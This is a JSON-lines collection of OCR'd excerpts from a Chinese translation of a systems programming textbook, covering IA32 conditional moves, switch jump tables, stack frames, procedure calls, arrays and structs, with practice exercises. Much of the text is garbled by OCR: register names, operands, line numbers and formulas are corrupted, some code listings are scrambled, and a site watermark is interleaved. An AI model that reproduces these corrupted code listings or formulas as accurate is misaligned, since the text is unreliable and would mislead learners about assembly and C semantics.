    {"text": "指令 同义名 传送条件 描述 cmove S,R cmovz ZF 相等/零 cmovne S,R cmovnz -ZF 不相等/非零 cmovs S,R SF 负数 cmovns S,R ~SF 非负数 cmovg S y R cmovnle ~(SF ^ OF) & ~ZF 大于（有符号>) cmovge S,R cmovnl ~(SF - OF) 大于或等于（有符号>=) cmovl S,R cmovnge SF~0F 小于（有符号<) cmovle S,R cmovng (SF • OF)丨 ZF 小于或等于（有符号<=) cmova S,R cmovnbe ~CF&~ZF 超过（无符号>) cmovae S,R cmovnb ~CF 超过或相等（无符号>=) cmovb S,R cmovnae CF 低于（无符号<) cmovbe S,R cmovna CF | ZF 低于或相等（无符号<=) 图3-17条件传送指令。"},
    {"text": "有些指令有“同义名”，也就是同一条机器指令的别名 为了理解如何通过条件数据传输来实现条件操作，考虑下面的条件表达式和赋值的通用形式： v = test-expr ? then-expr ： else-expr; 对于传统的IA32,编译器产生的代码具有以下抽象代码所示的形式： if (! test-expr) goto false; v = true-expr ; goto done; false: v = else-expr; done: 这个代码包含两个代码序列 一个对then-expr求值，另一个对else-expr求值。"},
    {"text": "基于条件传送的代码，会对then-expr和else-expr都求值，最终值的选择基于对 test-expr的求值。 可以用下面的抽象代码描述： vt = then-expr; v = else-expn t = test-expr; if (t) v : vt; 这个序列中的最后一条语句是用条件传送实现的——只有当测试条件t满足时，vt的值才会被 复制到v中。"},
    {"text": "作为说明，考虑下面这个C函数： int cread(int *xp) { return (xp ? *xp : 0); 乍一看，这段代码似乎很适合编译，使用条件传送读指针xp所指向的值，汇编代码如下所示： www.TopSage.com\nInvalid implementation of function cread xp in register %edx movl $0, Xeax Set 0 as return val ue testl %edx, °/ 0 edx Test xp cmovne (%edx )， %eax if iO, dereference xp to get return value 不过，这个实现是非法的，因为即使当测试为假时，cmovne指令（第3行）对xp的间接 引用还是发生了，导致一个间接引用空指针的错误。"},
    {"text": "当两个分支会产生副作用时 ， 也是类似的情况，函数说明如下 ： /* Global variable */ int 1count = 0; int absdiff_se(int x, int y) { return x < y ? (lcount++, y-x) : x-y; > 这个函数在 then-expr 中会对全局变量lcount加一。"},
    {"text": "®练习题 3.26 在下面的 C 函数中 ， 我们对 OP 操作的定义是不完整的： #define OP /* Unknown operator */ int arith (int x) { return x OP 4; . 当编译时，GCC会产生如下汇编代码： Register: x in %edx leal 3(%edx), %eax testl %edx, %edx cmovns %edx, %eax sari $2, %eax Return val ue in. %eax OP进行的是什么操作？"},
    {"text": "‘. _练习题 3.27 C 代码开始的形式如下 ： int test (int x, int y) {\nint val = ; if (_ J { val = ; else val = ; > else if ( ) val = ; , return val; n > GCC带命令行设置‘-march=i686’，产生如下汇编代码： x at %ebp+5 ., F at %ebp+.Z2 '1 movl 8(°/ 0 ebp) , %ebx 2 movl 12(%ebp), %ecx 3 testl %ecx, %ecx 4 jle • L2 5 movl %ebx, %edx 6 subl %ecx, %edx 7 movl %ecx, %eax 8 xorl °/ 0 ebx, %eax . 9 cmpl %ecx, %ebx 10 cmovl %edx, %eax 11 . jmp .L4 12 .L2: , .. ! 0(, 0 / 8 ebx,4), %edx 13 i leal VA leal (%ecx,%ebx), %eax 15. cmpl $-2, %ecx 16 . 17 cmovge .L4: 8 / 0 edx, %eax :填补C代码中缺失的表达式。"},
    {"text": "跳转表是一个数组，表项i是一个 代码段的地址，这个代码段实现当开关索引值等于i时程序应该釆取的动作。 程序代码用开关 索引值来执行一个跳转表内的数组引用，确定跳转指令的目标。"},
    {"text": "这个例子有些非常有意思的特征，包括情况 标号（case label)跨过一个不连续的区域（情况101和105没有标号），有些情况有多个标号 (情况104和106),而有些情况则会落入其他情况之中（情况102),因为对应该情况的代码段没 有以break语句结尾。"},
    {"text": "）建议你研究一下 C 语言过程 switch 一 eg_impl, 以及它与汇 编代码版本之间的关系。 int switch_eg_impl(int x, int n) { /* Table of code pointers */ static void *jt[7] = { &&loc_A, &&loc_def, &&loc_B, &&loc_C, &&loc_D, &&loc_def, &&locJD \\ int switch_eg(int x, int n) { 2 int result = x; 3 4 switch (n) { .5 6 case 100: 7 result *= 13; 8 break; 9 10 case 102: 11 result += 10; 12 1 ^ /* Fall through */ 14 case 103: 15 result += 11; 16 break; 17 18 case 104: 19 case 106: 20 result *= result; 21 break; 22 23 default: 24 result = 0; 25 > 26 27 return result; 28 } unsigned index = n - 100; int result; if (index > 6) goto loc_def; /* Multiway branch */ goto *jt[index]; 8 9 20 21 22 23 24 25 26 27 28 29 30 31 32 33 6 6 7 8 39 40 41 42 43 44 loc.def: /* Default case*/ result = 0; goto done; loc_C: /* Case 103 */ result = x; goto rest; c_A: /* Case 100 result = x * 13; goto done; */ loc_B: /* Case 102 */ result = x + 10; /* Fall through */ rest: 卜 F-：i nish case 103 */ result += 11; goto done; locJD: /* u：;es 104, 106 */ result = x * x; /* Fa.i... Lb.rough */ done: > return result;\na) switch语句 b)翻译到扩展的C语言 图3-18 switch语句示例以及翻译到扩展的C语言。"},
    {"text": "在C和汇编代码中，根据index的值，有五个不同 的跳转位置：loc_A (在汇编代码中指示为.L3),loc_B (.L4),loc_C (.L5),loc_D (.L6) 和loc 一 def (.L2),最后一个是默认的目的地址。"},
    {"text": "x at %ebp+S, n at %ebp+:/2 1 movl 8(%ebp), %edx Get x 2 movl 12(%ebp), %eax Get n Set up jump table access 3 subl $100, %eax Compute index ~ n-100 4 cmpl $6, %eax Compare index;6 5 ja • L2 , If >, goto loc_def o jmp * .L7 (,7 0 eax,4) Goto *jt [index] Default 7 .L2: loc_def: 8 movl $0, %eax result ~ Q; 9 jmp • L8 Goto done Case 103 10 .L5: loc_C: ,11 movl %edx, %eax result = x; 12 jmp • L9 Goto rest Case 100 13 .L3: loc_A: .14 leal (%edx,%edx,2), %eax result - x*3; 15 leal (7 0 edx, %eax, 4) , %eax result - x+4*result 16 jmp • L8 Goto done Case 102 17 .L4: loc„B： 18 leal 10(%edx), %eax result - x+10 Fall through 19 .L9: rest : 20 addl $11, %eax result 11 ; 21 卿 • L8 Goto done Cases 104, 106 22 .L6: loc„D 23 movl %edx, %eax result - x 24 imull %edx, %eax result x Fall through 25 .L8: done: Return result 图3-19图3-18中switch语句示例的汇编代码 执行switch语句的关键步骤是通过跳转表来访问代码位置。"},
    {"text": "在我 们的汇编代码版本中，类似的操作是在第6行，jmp指令的操作数有前缀‘*’，表明这是一个 间接跳转，操作数指定一个存储器位置，索引由寄存器％eax给出，这个寄存器保存着index 的值。"},
    {"text": "可以观察到，跳转表对重复情况的 处理就是简单地对表项4和6用同样的代码标号（loc一D),而对于缺失情况的处理就是对表项 1和5使用默认情况的标号（loc_def)。"},
    {"text": "在汇编代码中，跳转表用以f声明表示，我们添加了一些注释：\n.rodata AJi gn address multiple of • L7: L3 L2 L4 L5 L6 L2 L6 Case 100 Casa 101 Case 102 Case 103 Case 104 Case 105 Case 106 loc_A 1oc—def locji loc—C loc.D loc„def 8 9 10 .section .align 4 7: .long .long .long long .long .long long\n这些声明表明，在“.rodata”（只读数据，Read-Only Data)的目标代码文件的段中，应 该有一组7个“长”字（4个字节)，每个字的值都是与指定的汇编代码标号（例如.L3)相关 的指令地址。"},
    {"text": "汇编代 码和switch_eg_impl的处理方法是：这两种情况有不同的目的地址（在C中是loc_C和 loc_B,在汇编代码中是.L5和.L4),这两个代码块都汇总到将result加11的代码（在C 中标号是rest,在汇编代码中是.L9)。"},
    {"text": "int switch2(int x) { int result = 0; switch (x) { /* Body of switch statement omitted */ > ‘ return result; > 在编译函数时，GCC为程序的初始部分以及跳转表生成了以下汇编代码。"},
    {"text": "IWltClL L8 bO b0 b0 bO bO b0 hO n n n n n n n o o o o o o o 1111111 3 2 4 5 6 6 7 L L L L L L L x at uehp-^8 movl 8(%ebp), %eax Set up jump table access addl $2, %eax cmpl $6, %eax ja .L2 jmp *.L8(,%eax,4)\n根据上述信息回答下列问题: switch语句体内情况标号的值是多少？"},
    {"text": "Q练习题3.29巳知一个通用结构的C函数switcher int switcher(int a, int b, int c) /* Case A */ int answer; switch(a) { case c =......——.... /* Fall through */ case : /* Case B */ answer break;\nCase G */ Case D */ /* /* case case\nanswer break;\ncase /* Case E */ answer =— break; default: answer =..... } return answer; GCC产生如图3-20所示的汇编代码和跳转表。"},
    {"text": "a at %ebp+5, b at %ebp+i2, c at %ebp+i6' '1 movl 8(°/ 0 ebp), %eax i .L7: 2 cmpl $7, %eax 2 • long .L3 3 ja • L2 3 • long .L2 4 jmp *.L7(,%eax,4) 4 • long .L4 5 .L2: 5 • long .L2 6 movl 12(%ebp), °/,eax 6 • long .L5 7 jmp • L8 7 • long .L6 8 .L5: 8 • long .L2 9 movl $4, %eax 9 • long • L4 10 11 卿 .L6: • L8 12 13 movl xorl 12( 0 / 0 ebp) , %eax $15， %eax 14 movl %eax, 16(%ebp) 15 .L3: 16 movl 16(%ebp), %eax 17 addl $112, %eax 18 jmp • L8 19 • L4: 20 movl 16(%ebp), %eax 21 addl 12(%ebp), %eax 22 sail $2, %eax 23 .L8:\n3.7 过程 一个过程调用包括将数据（以过程参数和返回值的形式）和控制从代码的一部分传递到另一 部分。"},
    {"text": "找底 卜较早的帧 地址增大 +4+4« 调用者的帧 +8 参数1 返回地址 帧指针_ %ebp 一 4 当前帧 被保存的寄存器、 本地变量和 临时变量 栈指针_ %esp 参数构造区域 栈顶 图3-21栈帧结构（桟用来传递参数、存储返回信息、保存寄存器，以及本地存储) 假设过程P (调用者）调用过程Q (被调用者），则Q的参数放在P的栈帧中。"},
    {"text": "如图3-21所示，在被调用的过程中， 第一个参数放在相对于％610 5 )偏移量为8的位置处，剩下的参数（假设它们的数据类型需要的字 节不超过4个）存储在后续的4字节块中，所以参数/就在相对于％eb P 偏移量为4+4/的地方。"},
    {"text": "3.7.2转移控制 下表是支持过程调用和返回的指令 ： 指令 描述 call Label call * Operand leave ret 过程调用 过程调用 为返回准备栈 从过程调用中返回 call指令有一个目标，即指明被调用过程起始的指令地址。"},
    {"text": "0x080483el a)执行call b) call执行之后 c) ret执行之后 图3-22 call和ret函数的说明。 call指令将控制转移到一个函数的起始, 而ret指令返回到call指令后的那条指令 •/*eip 0x080483dc 7«esp 0xff9bc960 7*eip 0x08048394 %esp 0xff9bc95c 7.eip 0x080483el %esp 0xff9bc960 call指令的效果是将返回地址入栈，并跳转到被调用过程的起始处。 返回地址是在程序中 紧跟在call后面的那条指令的地址，这样当被调用过程返回时，执行会从此处继续。"},
    {"text": "下面是 这两个函数的反汇编代码的节选：\npush °/ 0 ebp ret call 8048394 <sum> add $0xl4,%esp Beginning of function sum 08048394 <sum>: 8048394: 55 Return from function sum 80483a4: c3 Call to sum from main A 80483dc: e8 b3 ff ff ff 5 80483el: 83 c4 14\n从这个代码中我们可以看到，在main函数中，地址为0 X 080483dc的call指令调用 函数sum。"},
    {"text": "函数sum继续执行，直到遇到地址为0x080483a4的ret指令。 这条指令从栈中弹出值0x080483el,然后跳转到这个地址，就在调用sum的call函数之后, 继续main函数的执行。"},
    {"text": "它等价于下面的代码序列： movl %ebp, %esp Set stack pointer to beginning of frame popl %ebp Restore saved %ebp and set stack ptr to end of caller's f rame 另外，也可以通过直接使用传送和弹出操作来完成这种准备工作。"},
    {"text": "虽然在给定时刻只能有一个过程是活动的， 但是我们必须保证当一个过程（调 用者） 调用另一个过程（被调 用者） 时，被调用者不会覆盖某 个调用者稍后会使用的寄存器的值。"},
    {"text": "这意味着Q必须在覆盖这些寄存器的值之前，先把它们 保存到栈中，并在返回前恢复它们，因为P (或某个更高层次的过程）可能会在今后的计算中需 要这些值。"},
    {"text": "作为一个示例，考虑下面这段代码：\nint P(in.t x), { int y = x*x; int z = Q (y); return y + z; 过程p在调用Q之前计算y,但是它必须保证y的值在Q返回后是可用的。"},
    {"text": "如果Q，或任何其他Q调用的程序，想使用 这个寄存器，它必须将这个寄存器的值保存在栈帧中，并在返回前恢复该值（换句话说， 被调用者保存这个值)。 当Q返回到P时，y的值会在被调用者保存寄存器中，或者是因 为寄存器根本就没有改变，或者是因为它被保存并恢复了。"},
    {"text": "_练习题3.31在GCC为一个C过程产生的汇编代码的前部有下面这段代码：\n$12, %esp %ebx, (%esp) %esi, 4(%esp) %edi, 8(%esp) 8(%ebp), %ebx 12(%ebp), %edi (%ebx), %esi (%edi), %eax 16(%ebp), %edx (%edx), %ecx subl movl movl movl movl movl movl movl movl 10 movl\n我们看到，将三个寄存器 （％ ebx 〈 ％ esi*%edi) 保存到了栈中（第 2〜4 行）。"},
    {"text": "程序会修改它们， 以及另外三个寄存器 （％ eax 、％ ecx*%edx )。 在过程的结尾，寄存器 ％ edi、％esi 和 ％ebx 的值被 恢复（没有显示出来)，而其他三个寄存器就保持修改后的状态。"},
    {"text": "3.7.4过程示例 考虑图 3-23 中定义的 C 过程，其中函数 caller 包括一个对函数 swap_add 的调用。 图 3-24 给出了 caller 调用函数 swap_add 之前和 swap_add 正在运行时的栈帧结构。"},
    {"text": "给C语言初学者：向函数传递参数 有一些语言，例如Pascal,提供了两种向过程传递参数的不同方式——传值（调用者提供 实际的参数值）和传引用（调用者提供指向值的指针）。 在C语言中，所有的参数都是传值传递 的，但是我们可以显式地产生一个指向值的指针，并将这个指针传递到过程，从而模仿引用参数 的效果。"},
    {"text": "1 int swap_add(int *xp, int *yp) • 1 B int x = *xp; 4 int y ; *yp; 5. 6 *xp = y; 7 *yp = x; 8 return x + y; 9 > • 10 11 int caller() 12 Y 13 • int argl -.=534; 14 ,int arg2 =1057; . . 15 int sum = =swap_add(&argl, &arg2); ,16 int diff = argl - arg2; 17 18 ' return sum * diff;. 19 }\n在swap_add体中 帧指针■ %ebp 保存的％ebp argl. arg2 ■ 丄二 I:: &arg2 栈指针■ %esp ■ &argl +8 +4 -0 返回地址 保存的％ebp swap_add _的麵 保存的％ebx 在调用s wap_add之前 -+4 ► 0 保存的%ebp argl arg2 L •融\" caller '的栈帧 &arg2 &argl 帧指针% ebp 找指针％esp\n图 3-24 caller 和 swap_add 的栈倾。 过程 swap_add 从 caller 的栈帧中取出它的参数 caller的栈|贞包括局部变量argl和arg 2 的存储，其位置相对于幢掉针是_4和-8。"},
    {"text": "接下来的这段汇编代码来自Qaller编 译过的编谇版本, 说明它如何调用swap jdd: : 、\" ‘ , l 2 caller: pushl %ebp Save old %ebp '• ; 3 movl %esp, %ebp Set %ebp as frame pointer 4 subl $24, %esp Allocate 24 bytes on stack 5 movl $534, -4(%ebp) Set argl to 534 6 movl $1057, -8(°/ 0 ebp) Set arg2 to 1057 7 leal -8(%ebp), °/ 0 eax Compute &arg2 8. movl,* .%eax, 4(%esp); • Store on B^tack 9 leal -4(%ebp), %eax Compute &<xrgl 10 movl %eax, (°/ 0 esp) Store on stack 11 call swap_add Call the swap^add function\n这段代码保存了 ％eb P 的“个副本，^ %eb P 设置为栈帧的开始位置（第2〜3行)。"},
    {"text": "将argl和arg2 分别初始化为534和1057 (第5〜6行)，计算&arg2和&argl的值并存储到栈上，形成函数 swap_add的参数（第7〜10行)。"},
    {"text": "下面是swap_add的主体代码： .\n8(%ebp), %edx 12(%ebp), %ecx (%edx), %ebx (%ecx), %eax %eax, (%edx) %ebx, (%ecx). %ebx， %eax movl movl movl movl movl movl addl Get xp Get yp Get x: Get y Store y at xp .Store x at yp Return value ~\n这段代码从caller的栈帧中取出它的参数。"},
    {"text": "下面是swap一add的结束代码： popl %ebx Restore %ebx '! 3 popl %ebp Restore D / 0 ebp 14 ret Return 这段代码恢复寄存器%ebx和％eb P 的值，同时也重新设定栈指针使它指向存储的返回值，这样 ret指令就可以将控制转移回caller。 下面的caller中的代码紧跟在调用swap—add的指令后面： .\nmovl -4(%ebp), %edx subl -8(%ebp), %edx imull %edx, °/ 0 eax leave ret 为了计算diff,这段代码从栈中取出argl和arg 2 的值，并将寄存器%eax当作从swap_ad4的 返回值。"},
    {"text": "可以观察到，leave指令的使用在返回前,既重置了栈指针，也重置了帧指针。 i们在代 码示例中已经看到，GCC产生的代码有时候会使用leave指令来释放栈帧，而有时会使用一个或者 两个popl指令。"},
    {"text": "' 练习题3.32 —个C函数fun具有如下代码体：• *p = d; ■ return x-c; 执行这个函数体的IA32代码如下： 1 movsbl 12(%ebp),%edx 2 movl 16(%ebp), %eax movl %edx, (%eax) A movswl 8(%ebp),%eax 5 movl 20(%ebp)， ％edx 6 subl %eax, %eOx 7 movl %edx, %eax 写出函数fUn的原型，给出参数p、d、x和c的类型和顺序。"},
    {"text": "®练习题3.33给定C函数如下： int proc(void) { int x,y; A scanf(\"%x %x\", &y, &x); return x-y; > GCC产生以下汇编代码： 1 proc: 2 pushl %ebp 3 movl %esp, %ebp 4 subl $40, %esp 5 leal - 4(%ebp), %eax 6 movl %eax, 8(%esp) 7 leal j8(%ebp), %eax 8 movl %eax, 4(%esp) 9 movl $.LC0, (%esp) 10 call scanf Di agrais stack frame at t.his 11 movl -4(%ebp), %eax 12 subl -8(%ebp), %eax 13 l^ave 14 ret 假设过程 proc 开始执行时，寄存器的值如下： 寄存器 值 %esp %ebp 0x800040 0x800060 .如果proc调用scanf (第10行)，而scanf从标准输入读入值Ox 46 和OX 53 。"},
    {"text": "1 int rf act (int n) 2 3 int result; 4 if (n <= 1) .5 result = 1; 6 else 7 result = n * rfact(n-1) ; 8 return result ; 9 } 图 3-25 递归的阶乘程序的 C 代码 Argument: 11 at %ebp+8 Registers: n. in %eb>:, result in %eax 1 rfact: pushl %ebp Save old %ebp movl %esp, %ebp Set %ebp as frame pointer A pushl %ebx Save callee save register %ebx 5 subl $4, %esp Allocate 4 bytes on stack 6 movl 8(%ebp), %ebx Get n 7 movl $1， %eax result - 1 8 cmpl $1, %ebx Compare ml 9 jle .L53 If <~ s goto done 10 leal -l(%ebx), %eax Compute n-1 ■11 movl %eax, (°/ 0 esp) Store at top of stack , 12 call rfact Call rfact(n-1) 13 imull %ebx, %eax Compute result -- return value * M • L53: done : 15 addl $4, %esp Deallocate 4 bytes from stack •16 popl %ebx Restore %ebx 17 popl %ebp Restore %ebp 18 ret Return result\n图3-25是递归的阶乘函数的C代码。"},
    {"text": "建立代码（第2〜5行）创建一个栈帧，其中包 含％6郎的旧值、保存的被调用者保存寄存器％ebx的值，以及当递归调用自身的时候倮存参数 的4个字节，如图3-27所示。"},
    {"text": "_练习题3.34 —个具有通用结构的C函数如下： int rfun(unsigned x) { if ( ) return ：........ - ■+•• • • • unsigned nx = • ： ...... int rv = rfun(nx); return ; > .• '• 1 • .- J • ' ■ • •. . . . . • . GCC产生如下汇编代码（省略了建立和髡成代码)： • ： '、、…• movl 8(%ebp), %ebx movl $0, %eax testl %ebx, %ebx ^ je -L3 ‘ movl %ebx, %eax shrl %eax Shift right by 1 ’ movl %eax, (%esp) call rfun movl %ebx, %edx andl $1, %edx leal (°/ 0 edx,%eax), %eax .L3:\n:A. rfun存储在被调用者保存寄存器％ebx中的值是什么？"},
    {"text": "让我们来看看下面这样的声明： .，•，+••• . •. . ..* • .- f - char A [12]; char *B[8]; 、 • double C[6]; ' double *D [5]; .,, 逢些声明产生的数组带下列参数： 数组 元素大小 总的大小 起始地址 元素 A 1 12 x k + i B 4 32 X B x B + 4/ C 8 48 Xc + 8r D 4 20 X D + 4/ 数组A由 12 个单字节（char).元素组成。"},
    {"text": "例如，假设E是一个int型的数组，并且我 们想计算E[i],在此，E的地址存放在寄存器％edx中，而i存放在寄存器％ 6 以中。 然后，指令 movl (%edx,%ecx,4),%eax 会执行地址计算;c E + 4 f,读这个存储器位置的值，并将结果存放到寄存^ %eax中。"},
    {"text": "®练习题3.35 考虑下面的声明： short S[7] short *T[3] short **U[6] long double V[8] long double *W[4] 填写下表，描述每个数组的元素 大小、 整个数组的 大小以 及元素/的地址： 数组 元素大小 整个数组的大小 起始地址 元素/ S T x T U Xu V ' ' ... Xy W 1 ■ ■- x w 指针运算 C语言允许对指针进行运算，而计算出来的值会根据该指针引用的数据类型的大小进行伸 缩。"},
    {"text": "也就是，对于一个表示某个对象 的表达式Expr, &Expr是给出该对象地址的一个指针。 对于一个表示地址的表达式AExpr, *AExpr是给出该地址处的值。"},
    {"text": "表达式 类型 值 汇编代码 E int * movl %edx, %eax ECO] int Mfe] movl (%edx),%eax E[i] • int M [X E + 4/] movl (%edx,%ecx,4),%eax &E[2] int *：. 丨e + 8 leal 8(%edx) ,%eax E+i-1 int * x E + 4z-4 leal -4(%edx,%ecx,4),%eax ,*(E+i-3) int * M[^ E + 4i — 12] movl -12(%edx,%ecx,4),%eax &E[i] -E int …. • i movl %ecx,%eax 在这些例子中，leal指令用来产生地址，而movl用来引用存储器（除了第一种和最后一 种情况，前者是复制一个地址，而后者是复制索引）。"},
    {"text": "表达式 类型 值 汇编代码 S+l S[3] &S[i] S[4*i+1] S+i-5 嵌套的数组 当我们创建数组的数组时，数组分配和引用的一般原则也是成立的。"},
    {"text": "例如声明 int A[5][3]; 等价于下面的声明 typedef int row3_t[3]; row3_t A[5]; 数据类型row3_t被定义为一个3个整数的数组。"},
    {"text": "数组A包含5个这样的元素，每个元素需要 12个字节来存^3个整数。 整个数组的大小就是4 X 5X3 = 60字节。 数组A还可以看成一个5行3列的二维数组，用A [0] [0]到A [4] [2]来引用。"},
    {"text": "数组元素 在存储器中按照“行优先”的顺序排列，意味着第 0 行的所有元素，可以写作入[ 0 ],后面跟着 第 1行的所 有希素 (Ml] ),以牝类推。"},
    {"text": "1] x a + 4 A [0] [2] q + 8 , A[l] A[l] [ 0 ] jc a + 12 A[l] [1] x k + 16 A[l] [ 2 ] ^ a + 20 A [2] A [2] [0] X A + 24 A[ 2 ][l] a: a + 28 A [2] [2] JC A + 32 A [3] A .[3] [0] JC A + 36 A [3] [1] M + 40 一 A[3] [2] ；"},
    {"text": "要访问多维数组的元素，编译器会以数组起始为基地址，（可能需要经过伸缩的）偏移量为 索引，产生计算&望的元素的偏移量，然后使用某种MOV指令。"},
    {"text": "通常来说，对于一个数组声明 它的数垣元素dU] [j]的存储器地耻为 &D[i] [j] -JC D + L ( C ./ + ;) (3-1) 这里，Z是数据类型r以字节i单位的大小。"},
    {"text": "然后，可以用下面的代 码将数组元素A [幻[j]复制刹寄存器％eax中：\nA at %ebp+S, i at %ebp+i2 ,j at °Aebp+16 movl 12(%ebp), %eax leal (7 0 eax,°/ 0 eax,2), %eax movl 16(%ebp), %edx Compute j*4 Compute x A + 4/ Read from M[x A + 4y + \\2i] sail $2, %edx addl 8(%ebp) , %edx movl (°/ 0 edx, %eax, 4) , %eax\n这段代码计算元素的堆扯为知+ 4 /+ 1 2 / =知料( 3 /兮)，它使用移位、加法和伸缩的組合来避免开销\n更大的乘法操作。"},
    {"text": "练习题3.37考虑下面的源代码，其中M和汉是用#define声明的常數: int matl[M][N]; int mat2 [N] [M]; • : . .... int sum_element(int i, int j) { .5 return matl [i] [j] + mat2[j] [i]; 在编译这个程序中，GCC产生如下汇编代码 at %ebp+8, j at %ebp+12 movl 8(%ebp), %ecx movl 12(%ebp), %edx leal 0(,%ecx,8), %eax subl %ecx, %eax addl %edx, %eax leal (%edx,%edx,4), %edx addl %ecx, %edx movl matl(,%eax,4), %eax addl mat2(,%edx,4), %eax 运用你的逆向工程技能，根据这段汇编代码，确定M和iV的值。"},
    {"text": "例如，假设我们用如下方式将数据类型 fix_matrix声明为16X 16的整型数组： #define N 16 typedef int fix_matrix[N][N]; (这个例子说明了一个很好的编码习惯。"},
    {"text": "当程序要用一个常数作为数组的维度或者缓冲区的大小 时，最好通S#define声明将这个常数与一个名字联系起来，然后在后面一直使用这个名字代 替常数的数值。"},
    {"text": "） 图3-28a中的代码根据公式Eo <7 w cii’j • 计算矩阵A和B乘积的元素/， k 0 C语言编译器产生 的代码（我们再反汇编成C),如图3-28b函数fix—prod一ele_opt所示。"},
    {"text": "它发现循环只会访问矩阵A的f行元所它创^了一个局部指针变量，命名为 Arow,提供对矩阵第/行的直接访问。 Arow[j]被初始化为&A[:L] [0],所以可以通过 Arow[j]来访问矩阵元素A[i] [j]。"},
    {"text": "Registers: Arow in %esi, Bptr in Bptr in %ecx, j in Xedx, result in %ebx loop: L6: Get *Bptr Multiply by Arow[j] Add to result Increment i movl (%ecx), %eax imull (%esi,%edx,4), %eax addl %eax, %ebx • addl $1, %edx 1 * • * . • • ■ www.TopSage.com\naddl $64, %ecx cmpl $16, %edx jne .L6 Add 64 to Bptr Compare j:16 If /:, goto loop\n正如看到的那样，在循环中，寄存器％ecx是被增加64 (第6行)。"},
    {"text": "®练习题3.38下面的C代码将定长数组的对角线上的元素设置为val:‘ /* Set all diagonal elements to val */ void fix_set_diag(fix_matrix A, int val) { int i; for (i = 0; i 〈拉；"},
    {"text": "i++) A[i] [i] = val; > 当编译时，GCC产生如下汇编代码 .4 at %ebp-f-8, val at %ebp+12 1 movl 8(%ebp), %ecx 2 movl 12(%ebp), %edx 3 movl $0, %eax 4 .L14: 5 movl %edx, (%ecx,7 0 ec 6 addl $68, %eax 7 cmpl $1088, °/ 0 eax 8 jne .L14 创建一个c代码程序fix-set-diag-opt,参考这段汇编代码中所使用的优化,风格与图3-28b中的代码- 致。"},
    {"text": "int i, int’k) { 1 2 3 .4 ‘5 6 7 9 10 /* Compute i,k of fixed matrix product */ int fix_prod_ele (fix_matrix A, fix_matrix B, ! int - , .: , int result = 0; for (j = 0; j < K; j++) result += A[i] [j] * B[j] [k]; return result;\na) 原始的 C 代码 ./* Compute i,k of fixed matrix product */ int fix_prod_ele_opt(fix_matrix A, fixjnatrix B, int i, int k) { int *Arow = &A[i] [0]; int *Bptr = &B[0] [k];. int result = 0; int j; for (j = 0; j != N; j++) { result += Arow[j] * *Bptr; Bptr += N; } return result; > 一 . b) 优化过的 C 代码 图3-28原代码的和优化过的代码，该代码计算定择数#的矩阵乘积的元素U。"},
    {"text": "编译器会自动完成这些优化 www.TopSage.com\n3.8:5变长数組 历史 iE, C语言只支持在编译时就能确定大小的多维数组(对于第一维可能有些例外h程 序员需要变长数组时，不得不用malloc或calloc这样的函数为这些数组分配存储空间，而 且不得不显式地编码，用行优先索弓丨将多维数组映射到一维的数组，如公式（3-1.)所示。"},
    {"text": "ISO 099引人了一种能力,允许数组的维度是表达式，在数组被分配的时候才计算出来,并且最近的 GCG版本支持ISO C99中关于变长数组的大部分规则。"},
    {"text": ": 在变长数组的C販本中,我们将一个数组声明为int . .Ale X ^r 2 ] [exp r 2 ],它可以作为一 个局部变量,也可以作一个函数的参数，.然后在遇到这个声明的时候,囉过对表达式ex P r 2 和 expr 2 求值来确定数组的维度。 因此，例如要访问数组的元素/，》我们可以写一个如下 的函数： int var_ele(int n, int A[n] [n] , int i, int j) ■[ return A [i] [j ]; 参数n必须在参数A [n] [n]之前，这样函数就可以在遇到这个数组的时候计算出数组的 维度。"},
    {"text": "... GCC为这个引用函数产生的代码如下所示： .. .： • - n at %ebp-rS > A at y o e'bp+12, i at %ebp+i.6', j at %ebp+20 1 movl 8<%ebp), %eax - ■ Get n 2 : sail:: $2, %eax :.. L Compxite 4.*n ' .. ' 3 movl °/ 0 eax, %edx Copy 4*n 4 imull 16(%ebp), %edx Compute 4*n*i 5 movl 20(%ebp), %eax Get j 6 sail $2, %eax ., Compute 4*j . 7 addl\"\" 12( 0 / 0 ebp) , %eax Compute + 4 沐 j ‘ 8 .movl (%eax, %'edx), %eax ' Read from . ,v A 十 4_ * 0 / + r + y) 正如注释所示，这段代码计算元素/, 7 的地址为x a +4(wH；"},
    {"text": "这个计算类似于定长数组的地址 计算，不同点最 4 )由于加上J参数参数在栈上的地址移动了 r 2 )用了乘法指令计算《 • i (第4行),而不晕用leal指令计算队因此引用变长数组只需要对定长数组做一点几概括。"},
    {"text": ")伸缩变量值^而不晕崗定每值尽 下面是var prod ele循杯的汇编代码 ： ^ 一 一 . • '* - . ■-.* n stored at %ebp+^ Registers: Arov in %esi ， Bptr in %ecx, j in %edx, ' .result in %ebx, %edi holds 4*n loop: Get *Bptr Multiply by Arow[j] Add to result Increment j Add 4 木 ii to Bptr Compare n:j If >, goto loop .L30: movl (%ecx), %eax imull (%esi,%6dx,4), %eax addl %eax, %ebx addl $1, %edx addl %edi, %ecx cmpi %edx, 8(%ebp>) jg .L30 我们看到程序既使用了伸缩过的值4« (寄存器％60^)来增加Bptr,也使用了存储在相对 于％ebp偏移量为 8 处的 n 的实际值来检查循环的边界。"},
    {"text": "/* Compute i,k of variable matrix product */ int var_prod_ele(int n, int A[n][n], int B[n][n], int i, int k) { int j; int result = 0; • .. ... .,., for (j = 0; j < n; j++) result += A[i] [j] * B[j] [k]; 8 return result; > 图3-29计算变长数组的矩阵乘积的元素 i，k 0 编译器执行的优化类似于对定长数组的优化 3.9 异质的数据结构 C语言提供了两种结合不同类型的对象来创建数据类型的机制：结构(structure),用关键字 struct声明，将多个对象集合到一个单位中；"},
    {"text": "struct rect { int llx; int lly; int color; int width; 例如，一个图形程序可能要用结构来表示一个长方形： /* X coordinate of lower-left corner */ /* Y coordinate of lower-left corner */ /* Coding of color */ /* Width (in pixels) */ int height ; /* Height (in pixels) */ }； 可以声明一个struct rect类型的变量r,并设置它的字段值如下：： struct rect r; r.llx = r.lly = 0; r.color = OxFFOOFF; r.width = 10; r.height = 20; •. . ' .... . 这里表达式 r • llx 就会选择结构 r 的 llx 字段。 另外，我们可以既声明变量又初始化它的字段在一条语句中： struct rect r = { 0, 0， OxFFOOFF , 10, 20 >; . 一个常见的现象是，将指向结构的指针从一个地方传递到另一个地方，而不是复制它们 & 例 如，下面的函数计算长方形的面积，这里，传递给函数的就是一个指向长方形 struct 的指针 int area(struct rect *rp) . .- ,. ■ •. \\ return (*rp).width * (*rp).height; > 表达式（ *rp) .width 间接引用了这个指针，并且选取所得结构的 width 字段。"},
